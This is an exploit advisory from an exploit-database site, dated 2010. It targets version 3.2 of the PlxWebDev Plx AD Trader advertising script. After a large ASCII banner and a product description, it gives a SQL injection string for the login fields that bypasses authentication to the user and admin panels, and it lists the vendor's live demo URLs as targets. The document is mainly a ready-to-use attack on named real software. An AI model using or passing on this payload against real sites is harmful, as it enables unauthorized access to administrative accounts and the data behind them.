PlxWebDev Plx AD Trader SQL Injection

`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
3 3  
3 _ __ __ ________ __ __ 3  
7 /' \ /'__`\ /'__`\ /\_____ \ /\ \/\ \ 7  
1 /\_, \/\_\L\ \ /\_\L\ \\/___//'/' \_\ \ \ \____ 1  
3 \/_/\ \/_/_\_<_\/_/_\_<_ /' /' /'_` \ \ '__`\ 3  
3 \ \ \/\ \L\ \ /\ \L\ \ /' /' /\ \L\ \ \ \L\ \ 3  
7 \ \_\ \____/ \ \____//\_/ \ \___,_\ \_,__/ 7  
1 \/_/\/___/ \/___/ \// \/__,_ /\/___/ 1  
3 >> Exploit database separated by exploit 3  
3 type (local, remote, DoS, etc.) 3  
7 7  
1 [+] Site : 1337db.com 1  
3 [+] Support e-mail : submit[at]1337db.com 3  
3 3  
7 ########################################## 7  
1 I'm R4dc0re 1337 Member from 1337 DataBase 1  
3 ########################################## 3  
3 3   
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7  
  
# Author: R4dc0re  
# Exploit Title: PlxWebDev Plx AD Trader Authentication Bypass  
# Date: 20-12-2010  
# Vendor or Software Link: http://www.plxwebdev.com/script/ad_trader/  
# Category:WebApp  
# Demo Link:http://www.plxwebdev.com/demos/plxadtrader/  
# Version: 3.2  
# Price: 60 USD  
# Contact: [email protected]  
# Website: www.1337db.com  
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members  
###################################################################################################  
  
Submit Your Exploit at [email protected]  
  
###################################################################################################  
[Product Details]  
  
This script will allow you to sell Banner and/or Text Ads on your web site. Ads will be rotated on   
different zones as you set them up in your admin area.  
  
You will be able in admin area set as many ad packages you wish and as many zones as well.   
Each zone represent an area on a page where ads are rotated. For every visit you receive to your   
site a different ad will be shown.  
  
Advertisers will signup for free and once they are inside their advertiser area   
they can Buy as many ads they want. They will be able to manage all aspects of their campaign ads.   
  
[Vulnerability]   
  
Authentication Bypass:  
  
Use This string ' or 1=1 or ''='' on username and password to Enter the User panel and the Admin panel  
  
User panel:  
http://www.plxwebdev.com/demos/plxadtrader/  
Admin Panel:  
http://www.plxwebdev.com/demos/plxadtrader/admin/  
###################################################################################################  
`